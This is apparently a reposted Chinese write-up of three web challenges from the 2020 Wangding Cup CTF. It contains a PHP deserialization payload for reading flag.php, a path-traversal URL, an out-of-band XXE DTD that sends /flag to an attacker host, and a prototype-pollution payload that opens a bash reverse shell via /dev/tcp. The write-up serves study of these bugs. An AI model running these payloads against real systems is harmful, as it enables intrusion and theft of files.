zoukankan      html  css  js  c++  java
  • 网鼎杯2020青龙组 web writeup

    上午压根没web,而且签到题有问题,又不能重新下发,愣是看着密码发呆emmm,然后下午才放web,而且一个队只能下发一个docker,就挺拖时间的,搞心态

    AreUSerialz

    源码

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();   
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();       
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    尝试写shell不得行,那就读文件吧
    在这里插入图片描述
    反序列化之前会做逐字判断,ascii必须>=32或<=125
    由于这里是protect类型,需要加上%00进行标识

    由于%00被url解码后ascii值为0,不在32-125中,所以会返回false

    那么就可以就用十六进制0和S绕过,然后这里有个弱类型可以用int

    首先需要知道路径,可以查看:
    /proc/self/cmdline
    在这里插入图片描述
    得到配置文件路径
    /web/config/httpd.conf
    在这里插入图片描述

    O:11:"FileHandler":3:{S:5:"0*0op";i:2;S:11:"0*0filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"0*0content";N;}
    

    在这里插入图片描述
    在这里插入图片描述

    javafile

    下载页面处存在路径穿越,可以读到web.xml:/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml
    在这里插入图片描述
    然后挨个下载源码
    在这里插入图片描述
    download这里过滤了flag不能直接下载
    在这里插入图片描述
    upload这里有一个对文件名、后缀是否为excel-开头和xlsx结尾进行的判断
    在这里插入图片描述
    那么应该就是用xlsx让后构造xml文件读flag了,跟用docx里的xml进行xxe是一个道理
    https://www.jianshu.com/p/73cd11d83c30
    dtd文件

    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>">
    %all;
    

    xlsx里的xml文件

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <!DOCTYPE data SYSTEM "http://ip/1.dtd">
    <data>&send;</data>
    <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
    

    然后上传
    在这里插入图片描述
    监听日志收到flag~
    在这里插入图片描述

    notes

    java耗费太多时间了,只审了一遍(加上当时环境经常502),就跟着writeup复现一下

    考点:原型链污染

    var express = require('express');
    var path = require('path');
    const undefsafe = require('undefsafe');
    const { exec } = require('child_process');
    
    
    var app = express();
    class Notes {
        constructor() {
            this.owner = "whoknows";
            this.num = 0;
            this.note_list = {};
        }
    
        write_note(author, raw_note) {
            this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
        }
    
        get_note(id) {
            var r = {}
            undefsafe(r, id, undefsafe(this.note_list, id));
            return r;
        }
    
        edit_note(id, author, raw) {
            undefsafe(this.note_list, id + '.author', author);
            undefsafe(this.note_list, id + '.raw_note', raw);
        }
    
        get_all_notes() {
            return this.note_list;
        }
    
        remove_note(id) {
            delete this.note_list[id];
        }
    }
    
    var notes = new Notes();
    notes.write_note("nobody", "this is nobody's first note");
    
    
    app.set('views', path.join(__dirname, 'views'));
    app.set('view engine', 'pug');
    
    app.use(express.json());
    app.use(express.urlencoded({ extended: false }));
    app.use(express.static(path.join(__dirname, 'public')));
    
    
    app.get('/', function(req, res, next) {
      res.render('index', { title: 'Notebook' });
    });
    
    app.route('/add_note')
        .get(function(req, res) {
            res.render('mess', {message: 'please use POST to add a note'});
        })
        .post(function(req, res) {
            let author = req.body.author;
            let raw = req.body.raw;
            if (author && raw) {
                notes.write_note(author, raw);
                res.render('mess', {message: "add note sucess"});
            } else {
                res.render('mess', {message: "did not add note"});
            }
        })
    
    app.route('/edit_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to edit a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            let author = req.body.author;
            let enote = req.body.raw;
            if (id && author && enote) {
                notes.edit_note(id, author, enote);
                res.render('mess', {message: "edit note sucess"});
            } else {
                res.render('mess', {message: "edit note failed"});
            }
        })
    
    app.route('/delete_note')
        .get(function(req, res) {
            res.render('mess', {message: "please use POST to delete a note"});
        })
        .post(function(req, res) {
            let id = req.body.id;
            if (id) {
                notes.remove_note(id);
                res.render('mess', {message: "delete done"});
            } else {
                res.render('mess', {message: "delete failed"});
            }
        })
    
    app.route('/notes')
        .get(function(req, res) {
            let q = req.query.q;
            let a_note;
            if (typeof(q) === "undefined") {
                a_note = notes.get_all_notes();
            } else {
                a_note = notes.get_note(q);
            }
            res.render('note', {list: a_note});
        })
    
    app.route('/status')
        .get(function(req, res) {
            let commands = {
                "script-1": "uptime",
                "script-2": "free -m"
            };
            for (let index in commands) {
                exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                    if (err) {
                        return;
                    }
                    console.log(`stdout: ${stdout}`);
                });
            }
            res.send('OK');
            res.end();
        })
    
    app.use(function(req, res, next) {
      res.status(404).send('Sorry cant find that!');
    });
    
    app.use(function(err, req, res, next) {
      console.error(err.stack);
      res.status(500).send('Something broke!');
    });
    
    const port = 8080;
    app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
    

    代码还是比较清楚

    参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
    可知undefsafe包,版本<2.0.3有原型链污染的洞

    由于/status路由下有命令执行
    在这里插入图片描述
    所以可以通过污染commands这个字典,例如令commads.a=whoami也会帮我们遍历执行

    /edit_note下可以传三个参数
    在这里插入图片描述
    传入后会直接写入当前的note_list,为一个字典
    在这里插入图片描述
    就可以利用这点进行污染,
    id=__proto__,author=bash -i > /dev/tcp/ip/port 0>&1,raw=123
    在这里插入图片描述
    然后访问/status弹shell:
    在这里插入图片描述

  • 相关阅读:
    与众不同 windows phone (50)
    与众不同 windows phone (49)
    重新想象 Windows 8.1 Store Apps (93)
    重新想象 Windows 8.1 Store Apps 系列文章索引
    重新想象 Windows 8.1 Store Apps (92)
    重新想象 Windows 8.1 Store Apps (91)
    重新想象 Windows 8.1 Store Apps (90)
    重新想象 Windows 8.1 Store Apps (89)
    重新想象 Windows 8.1 Store Apps (88)
    重新想象 Windows 8.1 Store Apps (87)
  • 原文地址:https://www.cnblogs.com/W4nder/p/12866365.html
Copyright © 2011-2022 走看看